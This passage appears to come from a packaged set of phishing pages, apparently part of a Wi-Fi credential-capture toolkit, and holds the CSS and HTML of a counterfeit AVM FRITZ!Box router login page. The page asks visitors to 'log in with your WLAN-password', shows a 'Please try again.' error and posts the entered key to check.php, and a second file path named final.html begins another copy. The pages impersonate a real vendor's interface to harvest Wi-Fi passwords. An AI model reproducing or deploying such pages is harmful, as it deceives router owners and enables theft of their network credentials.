{\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Welcome to your FRITZ!Box</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n\r\n<form method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\" class=\"loginForm\">\r\n\r\n<div class=\"formular\">\r\n<p>Please log in with your WLAN-password.</p>\r\n<input tabindex=\"2\" name=\"key1\" type=\"password\">\r\n<p class=\"error_text\">Please try again.</p>\r\n<p id=\"uiWait\" class=\"error_text\"></p></div>\r\n<div class=\"btn_form_foot\">\r\n<button type=\"submit\" tabindex=\"3\" id=\"submitLoginBtn\">Log in</button>\r\n<a>Forgot password?</a></div></form></div></div></div>"
  },
  {
    "path": "sites/fritzbox_en/final.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml {\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 